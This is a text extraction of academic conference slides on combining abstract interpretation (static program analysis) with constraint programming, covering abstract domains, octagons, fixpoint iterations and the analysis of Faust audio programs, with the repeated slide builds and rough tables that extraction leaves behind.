concrete sets $\mathcal{D}$: $\{(0, 3), (5.5, 0), (12, 7), \ldots\}$
abstract polyhedra $\mathcal{D}_p^\#$: $6X + 11Y \geq 33 \land \cdots$
Numeric abstract domain examples
- Concrete sets $\mathcal{D}$:
\{(0, 3), (5.5, 0), (12, 7), \ldots\}
- Abstract polyhedra $\mathcal{D}_p^\#$:
$6X + 11Y \geq 33 \land \ldots$
- Abstract octagons $\mathcal{D}_o^\#$:
$X + Y \geq 3 \land Y \geq 0 \land \ldots$
Numeric abstract domain examples
Concrete sets $\mathcal{D}$: $\{(0, 3), (5.5, 0), (12, 7), \ldots\}$
Abstract polyhedra $\mathcal{D}_p^\#: 6X + 11Y \geq 33 \wedge \ldots$
Abstract octagons $\mathcal{D}_o^\#: X + Y \geq 3 \wedge Y \geq 0 \wedge \ldots$
Abstract intervals $\mathcal{D}_i^\#: X \in [0, 12] \wedge Y \in [0, 8]$
Numeric abstract domain examples
Concrete sets $\mathcal{D}$:
\[ \{(0, 3), (5.5, 0), (12, 7), \ldots \} \]
not computable
Abstract polyhedra $\mathcal{D}_p^\#$:
\[ 6X + 11Y \geq 33 \land \cdots \]
exponential cost
Abstract octagons $\mathcal{D}_o^\#$:
\[ X + Y \geq 3 \land Y \geq 0 \land \cdots \]
cubic cost
Abstract intervals $\mathcal{D}_i^\#$:
\[ X \in [0, 12] \land Y \in [0, 8] \]
linear cost
Trade-off between cost and expressiveness / precision
Correctness proof and false alarms
The program is **correct** \((\text{blue} \cap \text{red} = \emptyset)\).
The program is **correct** \((\text{blue} \cap \text{red} = \emptyset)\).
The polyhedra domain **can prove the correctness** \((\text{cyan} \cap \text{red} = \emptyset)\).
Correctness proof and false alarms
The program is **correct** \((\text{blue} \cap \text{red} = \emptyset)\).
The polyhedra domain **can prove the correctness** \((\text{cyan} \cap \text{red} = \emptyset)\).
The interval domain **cannot** \((\text{green} \cap \text{red} \neq \emptyset, \text{false alarm})\).
AI strengths
In the end, AI tools are able to successfully check huge programs for run-time errors:
- primary flight control software of the Airbus A340 (2003), with 132,000 lines of code,
- electric flight control code of the Airbus A380 (2004).
What AI does well:
- very fast approximations of the concrete semantics,
- analysis of programs with different types (int, float, bool),
- take into account relations between the variables, with non-cartesian domains,
- have different abstract domains coexist in the same analyzer.
Outline
1. Introduction
- AI
- CP
2. Bringing AI ideas to CP
3. Bringing CP ideas to AI
4. Analyzing Sound Processes with Constraints
5. Conclusion
CP on an example
Definition (CSP)
- $V$: set of variables
- $D$: set of domains
- $C$: set of constraints
Example (Continuous)
- $V = (v_1, v_2)$
- $D_1 = [0, 4], D_2 = [0, 4]$
- $C_1: v_1^2 + v_2^2 \leq 2$
- $C_2: v_2 > (v_1 + 1)^3 + 0.5$
**Parameter: float r**
- list of boxes sols $\leftarrow \emptyset$
- queue of boxes toExplore $\leftarrow \emptyset$
- box e
$e \leftarrow D$
**push e in toExplore**
**while** toExplore $\neq \emptyset$ **do**
- $e \leftarrow \text{pop(toExplore)}$
- $e \leftarrow \text{Propagate(e)}$
**if** $e \neq \emptyset$ **then**
- **if** $\text{maxDim}(e) \leq r$ **or** isSol(e) **then**
- sols $\leftarrow$ sols $\cup$ e
- **else**
- split e in two boxes e1 and e2
- **push** e1 and e2 in toExplore
**CP on an example**
**Parameter:** float \( r \)
- list of boxes \( \text{sols} \leftarrow \emptyset \)
- queue of boxes \( \text{toExplore} \leftarrow \emptyset \)
- box \( e \)
\[ e \leftarrow D \]
**push** \( e \) in \( \text{toExplore} \)
**while** \( \text{toExplore} \neq \emptyset \) **do**
- \( e \leftarrow \text{pop}(\text{toExplore}) \)
- \( e \leftarrow \text{Propagate}(e) \)
**if** \( e \neq \emptyset \) **then**
- **if** \( \text{maxDim}(e) \leq r \) \text{or} \( \text{isSol}(e) \) **then**
- \( \text{sols} \leftarrow \text{sols} \cup e \)
- **else**
- split \( e \) in two boxes \( e_1 \) \text{and} \( e_2 \)
- **push** \( e_1 \) \text{and} \( e_2 \) in \( \text{toExplore} \)
CP on an example
**Parameter:** float \( r \)
list of boxes \( \text{sols} \) ← ∅
queue of boxes toExplore ← ∅
box \( e \)
e ← \text{D}
push \( e \) in toExplore
while toExplore ≠ ∅ do
\( e \) ← \text{pop}(\text{toExplore})
\( e \) ← Propagate(\( e \))
if \( e \) ≠ ∅ then
if \( \text{maxDim}(e) \leq r \) or isSol(\( e \)) then
sols ← sols \( \cup \) \( e \)
else
split \( e \) in two boxes \( e_1 \) and \( e_2 \)
push \( e_1 \) and \( e_2 \) in toExplore
**Parameter:** float \( r \)
<table>
<thead>
<tr>
<th>Parameter:</th>
<th>float ( r )</th>
</tr>
</thead>
<tbody>
<tr>
<td>list of boxes sols</td>
<td>( \emptyset )</td>
</tr>
<tr>
<td>queue of boxes toExplore</td>
<td>( \emptyset )</td>
</tr>
<tr>
<td>box e</td>
<td>( D )</td>
</tr>
<tr>
<td>e</td>
<td>( \emptyset )</td>
</tr>
<tr>
<td>push e in toExplore</td>
<td>( D )</td>
</tr>
<tr>
<td>while toExplore ( \neq \emptyset ) do</td>
<td>( D )</td>
</tr>
<tr>
<td>e</td>
<td>pop(toExplore)</td>
</tr>
<tr>
<td>e</td>
<td>Propagate(e)</td>
</tr>
<tr>
<td>if e ( \neq \emptyset ) then</td>
<td>( D )</td>
</tr>
<tr>
<td>if maxDim(e) ( \leq ) r or isSol(e)</td>
<td>( D )</td>
</tr>
<tr>
<td>then</td>
<td>( D )</td>
</tr>
<tr>
<td>sols</td>
<td>sols ( \cup ) e</td>
</tr>
<tr>
<td>else</td>
<td>( D )</td>
</tr>
<tr>
<td>split e in two boxes e1 and e2</td>
<td>( D )</td>
</tr>
<tr>
<td>push e1 and e2 in toExplore</td>
<td>( D )</td>
</tr>
</tbody>
</table>
Parameter: float $r$
list of boxes $\text{sols} \leftarrow \emptyset$
queue of boxes $\text{toExplore} \leftarrow \emptyset$
box $e$
$e \leftarrow D$
**push** $e$ in $\text{toExplore}$
**while** $\text{toExplore} \neq \emptyset$ **do**
$e \leftarrow \text{pop}(\text{toExplore})$
$e \leftarrow \text{Propagate}(e)$
if $e \neq \emptyset$ **then**
if $\text{maxDim}(e) \leq r$ or $\text{isSol}(e)$ **then**
$sols \leftarrow \text{sols} \cup e$
else
split $e$ in two boxes $e1$ and $e2$
**push** $e1$ and $e2$ in $\text{toExplore}$
Parameter: float r
list of boxes sols $\leftarrow \emptyset$
queue of boxes toExplore $\leftarrow \emptyset$
box e
e $\leftarrow$ D
push e in toExplore
while toExplore $\neq \emptyset$ do
e $\leftarrow$ pop(toExplore)
e $\leftarrow$ Propagate(e)
if e $\neq \emptyset$ then
if maxDim(e) $\leq$ r or isSol(e) then
sols $\leftarrow$ sols $\cup$ e
else
split e in two boxes e1 and e2
push e1 and e2 in toExplore
end if
end if
end while
Parameter: float r
list of boxes sols ← ∅
queue of boxes toExplore ← ∅
box e
e ← D
push e in toExplore
while toExplore ≠ ∅ do
e ← pop(toExplore)
e ← Propagate(e)
if e ≠ ∅ then
if maxDim(e) ≤ r or isSol(e) then
sols ← sols ∪ e
else
split e in two boxes e1 and e2
push e1 and e2 in toExplore
CP strengths and weaknesses
What CP does well
- model many combinatorial problems in a common framework,
- solve problems on either discrete or continuous variables,
- add various heuristics to improve the solving methods.
⇒ Efficiently solves many combinatorial problems
What CP does not
- take into account the correlation of the variables
⇒ restricted to Cartesian product
- solve mixed discrete-continuous problems in an elegant way (without conversions).
Our claim
CP and AI have a lot in common, and the notion of domain is at the core of their connexions.
An example: two algorithms (at least) have been defined on both sides, and called differently:
- HC4 in CP [Benhamou et al., 1999] / bottom-up top-down in AI [Cousot and Cousot, 1977],
NB: some links between AI and CP have already been highlighted in the literature, for instance on the propagation loop in CP vs the chaotic iterations in AI [Apt, 1999].
Comparison
- Same underlying structure (lattices and fixpoints)
- Same goal: an over-approximation of a desired set
- Solutions set in CP
- Sets of program traces in AI
- Different fixpoints and iterative schemes
- Only decreasing iterations in CP
- Both decreasing and increasing iterations in AI
- Only the soundness (over-approximation) is guaranteed
- More domains representations in AI than in CP
- AI naturally deals with different domains in the same framework (including many non-numerical domains)
Outline
1. Introduction
2. Bringing AI ideas to CP
3. Bringing CP ideas to AI
4. Analyzing Sound Processes with Constraints
5. Conclusion
Questions
Can we abstract the notion of domains in CP?
Will they be the same as AI abstract domains?
Can we use AI abstract domains in CP?
What already exist in AI
Abstract domains feature:
- transfer functions $\rho^\#$ (assignment, test, ...)
- meet $\cap^\#$ and join $\cup^\#$
- widening $\vee^\#$ and narrowing $\triangle^\#$
We need:
- a consistency
- a choice/splitting operator
- a size function
Abstract Solving Method
We define the resolution as a concrete semantics. Then:
- consistency is defined using transfer function on the constraints,
- propagation loop is defined using local iterations as defined by [Granger, 1992],
- the choice operator is added (in disjunctive completions [Cousot and Cousot, 1992]),
- the size function is added.
Continuous Solving Method
Parameter: float r
list of boxes sols ← ∅
queue of boxes toExplore ← ∅
box e ← D
push e in toExplore
while toExplore ≠ ∅ do
e ← pop(toExplore)
e ← Hull-Consistency(e)
if e ≠ ∅ then
if maxDim(e) ≤ r or isSol(e) then
sols ← sols ∪ e
else
split e in two boxes e1 and e2
push e1 and e2 in toExplore
Under some conditions on the operators, this abstract solving method terminates, is correct and complete.
Abstract Solving Method
Parameter: float \( r \)
\[
\begin{align*}
\text{list of boxes disjunction } & \text{sols } \leftarrow \emptyset \\
\text{queue of boxes disjunction } & \text{toExplore } \leftarrow \emptyset \\
\text{box abstract domain } & e \leftarrow D \uparrow \# \\
\end{align*}
\]
\text{push } e \text{ in toExplore}
\text{while } \text{toExplore } \neq \emptyset \text{ do}
\[
\begin{align*}
e & \leftarrow \text{pop(toExplore)} \\
e & \leftarrow \text{Hull-Consistency}(e) \rho^+(e) \\
\text{if } e \neq \emptyset \text{ then}
\end{align*}
\]
\[
\begin{align*}
\text{if } \text{maxDim}(e) \tau(e) \leq r \text{ or } \text{isSol}(e) \text{ then}
\end{align*}
\]
\[
\begin{align*}
sols & \leftarrow sols \cup e \\
\text{else}
\end{align*}
\]
\[
\begin{align*}
\text{split } e \text{ in two boxes } e_1 \text{ and } e_2 \\
\text{push } e_1 \text{ and } e_2 \oplus(e) \text{ in toExplore}
\end{align*}
\]
Under some conditions on the operators, this abstract solving method terminates, is correct and complete.
Implementation
Prototype with Apron [Jeannet and Miné, 2009], an OCaml library of numerical abstract domains for static analysis
- Consistency: using transfer functions
- Propagation loop: at each iteration, propagate all the constraints
\[\rightarrow\] Apply all the transfer functions
- Split: only Cartesian split
For the moment, does not feature all of the CP techniques. Still to improve:
- propagation loop,
- abstract splitting operator,
- choice heuristic,
But it naturally copes with mixed integer-real problems.
## Experiments
### Comparison between Absolute and Ibex.
<table>
<thead>
<tr>
<th>name</th>
<th># vars</th>
<th>ctrs</th>
<th>Itv</th>
<th>Oct</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td>Ibex</td>
<td>AbSolute</td>
</tr>
<tr>
<td>b</td>
<td>4</td>
<td>=</td>
<td>0.02</td>
<td>0.10</td>
</tr>
<tr>
<td>nbody5.1</td>
<td>6</td>
<td>=</td>
<td>95.99</td>
<td>1538.25</td>
</tr>
<tr>
<td>ipp</td>
<td>8</td>
<td>=</td>
<td>38.83</td>
<td>39.24</td>
</tr>
<tr>
<td>brent-10</td>
<td>10</td>
<td>=</td>
<td>21.58</td>
<td>263.86</td>
</tr>
<tr>
<td>KinematicPair</td>
<td>2</td>
<td>≤</td>
<td>59.04</td>
<td>23.14</td>
</tr>
<tr>
<td>biggsc4</td>
<td>4</td>
<td>≤</td>
<td>800.91</td>
<td>414.94</td>
</tr>
<tr>
<td>o32</td>
<td>5</td>
<td>≤</td>
<td>27.36</td>
<td>22.66</td>
</tr>
</tbody>
</table>
CPU time in seconds to find all the solutions.
Same solver configuration (octagonal heuristics are unplugged in Absolute).
Octagons
Definition (Octagon [Miné, 2006])
Set of points satisfying a conjunction of constraints of the form
\( \pm v_i \pm v_j \leq c \), called **octagonal constraints**
In dimension \( n \), an octagon has at most \( 2n^2 \) faces.
An octagon can be unbounded.
It can be seen either as a conjunction of octagonal constraints, or as an intersection of boxes.
Octagon abstract domain $\mathcal{O}^\#$
Given variables $v_1, \ldots, v_n$, the octagon abstract domain corresponds to
$$\mathcal{O}^\# = \{ \alpha v_i + \beta v_j \mid i, j \in [1, n], \alpha, \beta \in \{-1, 1\} \} \rightarrow \mathbb{F}$$
Octagon abstract domain $\mathcal{O}^\#$
Given variables $v_1, \ldots, v_n$, the octagon abstract domain corresponds to
$$\mathcal{O}^\# = \{ \alpha v_i + \beta v_j | i, j \in [1, n], \alpha, \beta \in \{-1, 1\} \} \rightarrow \mathbb{F}$$
$$\tau_o(X^\#) = \min \left( \max_{i, j, \beta} (X^\#(v_i + \beta v_j) + X^\#(-v_i - \beta v_j)) , \right.$$
$$\left. \max_i (X^\#(v_i + v_i) + X^\#(-v_i - v_i)) / 2 \right)$$
Octagon abstract domain $\mathcal{O}^\#$
Given variables $v_1, \ldots, v_n$, the octagon abstract domain corresponds to
$$
\mathcal{O}^\# = \{ \alpha v_i + \beta v_j \mid i, j \in [1, n], \alpha, \beta \in \{-1, 1\} \} \rightarrow \mathbb{F}
$$
$$
\tau_o(X^\#) = \min \left( \max_{i, j, \beta} (X^\#(v_i + \beta v_j) + X^\#(-v_i - \beta v_j)) \right),
\max_i (X^\#(v_i + v_i) + X^\#(-v_i - v_i)) / 2
$$
$$
\oplus_o(X^\#) = \left\{ X^\# \left[ (\alpha v_i + \beta v_j) \mapsto h \right], X^\# \left[ (-\alpha v_i - \beta v_j) \mapsto -h \right] \right\}
$$
Octagon abstract domain $\mathcal{O}^\#$
Given variables $v_1, \ldots, v_n$, the octagon abstract domain corresponds to
$$\mathcal{O}^\# = \{ \alpha v_i + \beta v_j | i, j \in [1, n], \alpha, \beta \in \{-1, 1\} \} \rightarrow \mathbb{F}$$
$$\tau_o(X^\#) = \min(\max_{i,j,\beta} (X^\#(v_i + \beta v_j) + X^\#(-v_i - \beta v_j)), \max_i (X^\#(v_i + v_i) + X^\#(-v_i - v_i))/2)$$
$$\oplus_o(X^\#) = \left\{ X^\# [(\alpha v_i + \beta v_j) \leftrightarrow h], X^\# [(-\alpha v_i - \beta v_j) \leftrightarrow -h] \right\}$$
In practice, consistency is computed by interleaving Floyd-Warshall (for the octagonal constraints) and the usual constraint propagation on all the rotated boxes.
Same problem with the same time limit.
Beautiful slide by courtesy of Marie Pelleau
Experiments
Comparison of an ad-hoc implementation of the same solving algorithm, using either the octagon abstract domain or the intervals.
<table>
<thead>
<tr>
<th>name</th>
<th>nbvar</th>
<th>ctrs</th>
<th>First solution</th>
<th>All the solutions</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td>$\mathbb{I}^n$</td>
<td>Oct</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>$\mathbb{I}^n$</td>
</tr>
<tr>
<td>h75</td>
<td>5</td>
<td>$\leq$</td>
<td>41.40</td>
<td>0.03</td>
</tr>
<tr>
<td>hs64</td>
<td>3</td>
<td>$\leq$</td>
<td>0.01</td>
<td>0.05</td>
</tr>
<tr>
<td>h84</td>
<td>5</td>
<td>$\leq$</td>
<td>5.47</td>
<td>2.54</td>
</tr>
<tr>
<td>KinematicPair</td>
<td>2</td>
<td>$\leq$</td>
<td>0.00</td>
<td>0.00</td>
</tr>
<tr>
<td>pramanik</td>
<td>3</td>
<td>$=$</td>
<td>28.84</td>
<td>0.16</td>
</tr>
<tr>
<td>trigo1</td>
<td>10</td>
<td>$=$</td>
<td>18.93</td>
<td>1.38</td>
</tr>
<tr>
<td>brent-10</td>
<td>10</td>
<td>$=$</td>
<td>6.96</td>
<td>0.54</td>
</tr>
<tr>
<td>h74</td>
<td>5</td>
<td>$=$</td>
<td>305.98</td>
<td>13.70</td>
</tr>
<tr>
<td>fredtest</td>
<td>6</td>
<td>$\leq$</td>
<td>3 146.44</td>
<td>19.33</td>
</tr>
</tbody>
</table>
Solver: Ibex [Chabert and Jaulin, 2009].
Problems from the COCONUT benchmark.
CPU time in seconds, TO 3 hours.
Why octagons work?
From a CP point of view, octagons allow us to infer constraints, in a restricted, reasonably tractable language ($O(n^3)$).
*For more details see Marie Pelleau’s papers at CP2011, VMCAI 2013 or in Constraints.*
Could it be generalized?
Other abstract domains
Work in progress...
Polyhedra abstract domain $\mathcal{P}^#$
\[ \tau_p(\mathcal{X}^#) = \max_{g_i, g_j \in \mathcal{X}^#} \| g_i - g_j \| \]
\[ \oplus_p(\mathcal{X}^#) = \left\{ \mathcal{X}^# \cup \left\{ \sum_i \beta_i v_i \leq h \right\}, \mathcal{X}^# \cup \left\{ \sum_i \beta_i v_i \geq h \right\} \right\} \]
Outline
1. Introduction
2. Bringing AI ideas to CP
3. Bringing CP ideas to AI
- Representing disjunctive information
- Iterations
4. Analyzing Sound Processes with Constraints
5. Conclusion
Disjunctive properties
Both AI and CP construct complex properties by disjunctions of simpler ones.
In CP:
- complex shapes are tightly covered with boxes
In AI:
- abstract domains can generally express only convex sets
- program analysis often requires non-convex properties
such as $X \neq 0$
$\implies$ disjunctive completion: use sets of intervals
Disjunctive analysis: example
Example
if (X ≥ 0 && X < 10) B = 1; else B = 0;
*
. .
if (B == 1) • A[X] = 0;
we must prove that 0 ≤ X < 10 at •.
Plain interval analysis: one box at each program point
at ∗ we must join (B ∈ [1, 1], X ∈ [0, 9]) and (B ∈ [0, 0], X ∈ [−∞, +∞])
to get (B ∈ [0, 1], X ∈ [−∞, +∞])
⇒ at •, B == 1 gives no information an X!
With disjunctive completion: keep several boxes at each control point
by avoiding (or delaying) the abstract join at ∗
⇒ at •, B == 1 recovers X ∈ [0, 9]
This works well because the disjunction can be guided by the control flow:
each disjunct corresponds to a branch of the first if
Truchet-Miné
Control-free programs
What happens when there is no explicit control flow?
Example: digital filter
```
while true do
r = 1.5 \times s0 - 0.7 \times s1 + input [-0.1,0.1];
s1 = s0; s0 = r;
done
```
In this example, the reachable states \((s0,s1)\) form an ellipsoid.
no if-then-else, no join operation to create additional boxes
\(\implies\) even with disjunctive completion, AI will use a single box
This will not work (see next slide)
Control-free programs: limitations of boxes
When searching for a valid approximation, AI searches for an inductive invariant: i.e., a shape \( X \) that is stable by a loop iteration \( F(X) \subseteq X \)
- There is a stable ellipsoid
- No single box is stable
\[ \implies \text{the analysis with boxes will fail} \]
Standard AI solution:
- abandon boxes
- make a new abstract domain representing directly ellipsoids
(hard work, that must be redone for every shape)
Towards more powerful disjunctive representations
CP knows naturally how to approximate an ellipsoid with a set of boxes to an arbitrary precision criterion
**Idea:** can we use CP to avoid designing an ellipsoid domain?
**Challenges:**
- new precision criterion: the boxes must be tight enough to form an inductive set
- no control-flow to guide the disjunction
Outline
1. Introduction
2. Bringing AI ideas to CP
3. Bringing CP ideas to AI
- Representing disjunctive information
- Iterations
4. Analyzing Sound Processes with Constraints
5. Conclusion
Fixpoint computations
In AI, the semantic problem is expressed as a fixpoint (generally, a least fixpoint)
**Example**
```plaintext
x = 0;
while x < 100 do
x += 2;
done
```
**Interval analysis:**
searching for an interval loop invariant $i$ for $x$
\[ i = \text{lfp } F \]
\[ F(x) = [0, 0] \sqcup ((x \sqcap [-\infty, 99]) \oplus [2, 2]) \]
\(\sqcup, \sqcap, \oplus\) are \(\cup, \cap, +\) in the interval domain
\(\Rightarrow\) we must over-approximate least fixpoints
classic technique:
- increasing iterations: from \(\emptyset\), iterate $F$
use extrapolation \(\nabla\) to finish in finite time
\(\Rightarrow\) we obtain a rough over-approximation
- decreasing iterations to refine the approximation
(explained in the following slides)
Increasing iterations in AI
\[ F(x) = [0, 0] \sqcup ((x \cap [-\infty, 99]) \oplus [2, 2]) \]
the least fixpoint is: \( \text{lfp } F = [0, 101] \)
the iterates are: \( \emptyset, [0, 0], [0, 2], [0, 4], \ldots, [0, 98], [0, 100], [0, 101] \)
Increasing iterations with extrapolation in AI
\[ F(x) = [0, 0] \sqcup ((x \cap [-\infty, 99]) \oplus [2, 2]) \]
the least fixpoint is: \( \text{lfp } F = [0, 101] \)
the iterates with extrapolation are: \( \emptyset, [0, 0], [0, 2], [0, +\infty] \)
unstable bounds are set to \( +\infty \)
\( \implies \) over-approximates \([0, 101]\), but coarse
Bringing CP ideas to AI
Iterations
Decreasing iterations in AI
\[ F(x) = [0, 0] \sqcup ((x \cap [\infty, 99]) \oplus [2, 2]) \]
the least fixpoint approximation is: \([0, +\infty]\)
the gain precision, we continue iterating
the iterates are now decreasing towards the fixpoint
the decreasing iterates are: \([0, +\infty], [0, 101]\)
Decreasing iterations in AI
Possible issues:
- Decreasing sequence may be too slow (or non-terminating)
\[\Rightarrow\] stop it short
- AI has narrowing operators to extrapolate decreasing sequences but they often fail
- If the extrapolation during increasing iteration is too coarse we may never be able to recover enough precision
if we jump above a non-least fixpoint, we will stay above it and never reach the least fixpoint
How CP might help AI iterations
CP solving can be seen as an iteration sequence
- decreasing iterations
- can approach the fixpoint form above with arbitrary precision
Could we use CP to:
- make more precise decreasing iterations?
- in particular, split during the iteration
- adapt it to the increasing iteration as well?
Outline
1. Introduction
2. Bringing AI ideas to CP
3. Bringing CP ideas to AI
4. Analyzing Sound Processes with Constraints
5. Conclusion
Sound processes (ongoing work !)
Our goal: prove that sound processes do not produce saturated sounds.
Faust
- Faust is a **Domain-Specific Language** for real-time signal processing and synthesis (like Csound, Max/MSP, Supercollider, Puredata,...).
- Faust is used on stage for concerts and artistic productions, for education and research, for open-source projects and commercial applications.
- [http://faust.grame.fr](http://faust.grame.fr)
Faust
```plaintext
process = bruitblanc * hslider("level", 0, 0, 1, 0.01);
bruitblanc = +(12345) ~ *(1103515245) : /(2147483647.0);
```
\[
y[n] = \frac{x[n]}{2147483647.0} \times l[n]
\]
\[
x[n] = 12345 + x[n-1] \times 1103515245
\]
\[
l[n] \in [0..1] \text{ UI 'level' slider}
\]
Faust comes with a formal semantic based on block-diagram. All the variables are infinite streams over the reals.
Analyzing sound processes
We first rewrite this BD in order to identify non-functional dependencies on the streams (\textit{fby} instructions / temporal dependencies).
Analyzing sound processes
We abstract time, replacing the streams by an envelope of their possible values, and generate a constraint problem on real intervals.
\[
\begin{align*}
a & := [\text{fby}](e,c) & d & := [0.1] \\
b & := [\times](a,f) & e & := [0] \\
c & := [\text{+}](b,d) & f & := [0.9]
\end{align*}
\]
Analyzing sound processes
The we build the graph of these dependencies, which is used as a basis to propagate the constraints.
Analyzing sound processes
Finally, the system is solved by an *ad hoc* algorithm that:
- propagates the functional dependencies,
- randomly, but cleverly, jumps over the fixpoints in order to approximate the least fixpoint for loops.
*See Anicet Bart’s paper at JFPC 2015 for more details.*
## Tests
<table>
<thead>
<tr>
<th>program</th>
<th># blocks (# fby)</th>
<th>time</th>
<th>distance</th>
<th># blocks evaluations</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>(# bly)</td>
<td>avg</td>
<td>avg</td>
<td>min</td>
</tr>
<tr>
<td>SIMPLE-ECHO</td>
<td>4 (1)</td>
<td>1ms</td>
<td>< 0.001</td>
<td>4</td>
</tr>
<tr>
<td>SIMPLE-COUNTER</td>
<td>3 (2)</td>
<td>11ms</td>
<td>0</td>
<td>3604</td>
</tr>
<tr>
<td>SIMPLE-SINUS</td>
<td>4 (2)</td>
<td>10ms</td>
<td>0</td>
<td>3595</td>
</tr>
<tr>
<td>PAPER-EXAMPLE</td>
<td>4 (2)</td>
<td>16ms</td>
<td>< 0.001</td>
<td>3169</td>
</tr>
<tr>
<td>FAUST-NOISE</td>
<td>6 (2)</td>
<td>1ms</td>
<td>0</td>
<td>115</td>
</tr>
<tr>
<td>FAUST-VOLUME</td>
<td>8 (2)</td>
<td>21ms</td>
<td>0</td>
<td>4153</td>
</tr>
<tr>
<td>FAUST-ECHO</td>
<td>16 (2)</td>
<td>14ms</td>
<td>0</td>
<td>3156</td>
</tr>
<tr>
<td>FAUST-OSC</td>
<td>28 (7)</td>
<td>31ms</td>
<td>< 0.001</td>
<td>7791</td>
</tr>
<tr>
<td>FAUST-FREEVERB</td>
<td>237 (104)</td>
<td>0.51s</td>
<td>0</td>
<td>48348</td>
</tr>
<tr>
<td>FAUST-KARPLUS32</td>
<td>530 (133)</td>
<td>0.69s</td>
<td>0</td>
<td>102813</td>
</tr>
</tbody>
</table>
Conclusion
By relying on the common notion of domains, we can combine the strengths of both AI and CP:
- CP can be precise,
- AI can have different types and adapt the domains to the problems.
Further research
- improve the CP features of Absolute: global constraints, heuristics,
- adapt the abstract domains to the constraints,
- ...
There is a lot to be done!
To try AI numerical domains, try the Interproc toy language, which uses Apron:
http://pop-art.inrialpes.fr/interproc/interprocweb.cgi
There is no webpage for Absolute for now, but we would be happy to share the code. Just send us an email!
Bibliography
Languages, pages 238–252, Los Angeles, California. ACM Press, New York, NY.
|
{"Source-Url": "https://cpaior2015.uconn.edu/wp-content/uploads/sites/919/2015/01/Truchet-Mine.pdf", "len_cl100k_base": 9810, "olmocr-version": "0.1.50", "pdf-total-pages": 76, "total-fallback-pages": 0, "total-input-tokens": 124111, "total-output-tokens": 13516, "length": "2e13", "weborganizer": {"__label__adult": 0.0003294944763183594, "__label__art_design": 0.00043582916259765625, "__label__crime_law": 0.0003285408020019531, "__label__education_jobs": 0.0005459785461425781, "__label__entertainment": 7.849931716918945e-05, "__label__fashion_beauty": 0.00013637542724609375, "__label__finance_business": 0.00021398067474365232, "__label__food_dining": 0.00029921531677246094, "__label__games": 0.0005726814270019531, "__label__hardware": 0.0008635520935058594, "__label__health": 0.00040078163146972656, "__label__history": 0.00024247169494628904, "__label__home_hobbies": 9.804964065551758e-05, "__label__industrial": 0.0004277229309082031, "__label__literature": 0.0002732276916503906, "__label__politics": 0.0002694129943847656, "__label__religion": 0.0004563331604003906, "__label__science_tech": 0.032989501953125, "__label__social_life": 9.548664093017578e-05, "__label__software": 0.007053375244140625, "__label__software_dev": 0.953125, "__label__sports_fitness": 0.00025272369384765625, "__label__transportation": 0.00052642822265625, "__label__travel": 0.00017774105072021484}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 30067, 0.03041]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 30067, 0.30363]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 30067, 0.63711]], "google_gemma-3-12b-it_contains_pii": [[0, 284, false], [284, 441, null], [441, 715, null], [715, 799, null], [799, 850, null], [850, 1355, null], [1355, 1568, null], [1568, 1780, null], [1780, 2624, null], [2624, 3161, null], [3161, 3264, null], [3264, 3439, null], [3439, 3706, null], [3706, 4036, null], [4036, 4499, null], [4499, 4609, null], [4609, 4782, null], [4782, 5092, null], [5092, 5625, null], [5625, 5784, null], [5784, 6026, null], [6026, 6532, null], [6532, 7244, null], [7244, 7717, null], [7717, 8325, null], [8325, 8868, null], [8868, 9323, null], [9323, 9646, null], [9646, 10113, null], [10113, 10694, null], [10694, 11213, null], [11213, 11352, null], [11352, 11494, null], [11494, 11761, null], [11761, 12113, null], [12113, 12577, null], [12577, 13609, null], [13609, 14138, null], [14138, 15020, null], [15020, 15385, null], [15385, 15630, null], [15630, 16050, null], [16050, 16610, null], [16610, 17297, null], [17297, 17382, null], [17382, 18983, null], [18983, 19241, null], [19241, 19584, null], [19584, 19781, null], [19781, 20139, null], [20139, 20798, null], [20798, 21244, null], [21244, 21716, null], [21716, 22083, null], [22083, 22280, null], [22280, 23040, null], [23040, 23286, null], [23286, 23640, null], [23640, 23978, null], [23978, 24416, null], [24416, 24743, null], [24743, 24882, null], [24882, 24986, null], [24986, 25329, null], [25329, 25614, null], [25614, 25728, null], [25728, 25897, null], [25897, 26217, null], [26217, 26345, null], [26345, 26639, null], [26639, 27826, null], [27826, 28194, null], [28194, 28435, null], [28435, 29089, null], [29089, 29801, null], [29801, 30067, null]], "google_gemma-3-12b-it_is_public_document": [[0, 284, true], [284, 441, null], [441, 715, null], [715, 799, null], [799, 850, null], [850, 1355, null], [1355, 1568, null], [1568, 1780, null], [1780, 2624, null], [2624, 3161, null], [3161, 3264, null], [3264, 3439, null], [3439, 3706, null], [3706, 4036, null], [4036, 4499, null], [4499, 4609, null], [4609, 4782, null], [4782, 5092, null], [5092, 5625, null], [5625, 5784, null], [5784, 6026, null], [6026, 6532, null], [6532, 7244, null], [7244, 7717, null], [7717, 8325, null], [8325, 8868, null], [8868, 9323, null], [9323, 9646, null], [9646, 10113, null], [10113, 10694, null], [10694, 11213, null], [11213, 11352, null], [11352, 11494, null], [11494, 11761, null], [11761, 12113, null], [12113, 12577, null], [12577, 13609, null], [13609, 14138, null], [14138, 15020, null], [15020, 15385, null], [15385, 15630, null], [15630, 16050, null], [16050, 16610, null], [16610, 17297, null], [17297, 17382, null], [17382, 18983, null], [18983, 19241, null], [19241, 19584, null], [19584, 19781, null], [19781, 20139, null], [20139, 20798, null], [20798, 21244, null], [21244, 21716, null], [21716, 22083, null], [22083, 22280, null], [22280, 23040, null], [23040, 23286, null], [23286, 23640, null], [23640, 23978, null], [23978, 24416, null], [24416, 24743, null], [24743, 24882, null], [24882, 24986, null], [24986, 25329, null], [25329, 25614, null], [25614, 25728, null], [25728, 25897, null], [25897, 26217, null], [26217, 26345, null], [26345, 26639, null], [26639, 27826, null], [27826, 28194, null], [28194, 28435, null], [28435, 29089, null], [29089, 29801, null], [29801, 30067, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 30067, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 30067, null]], 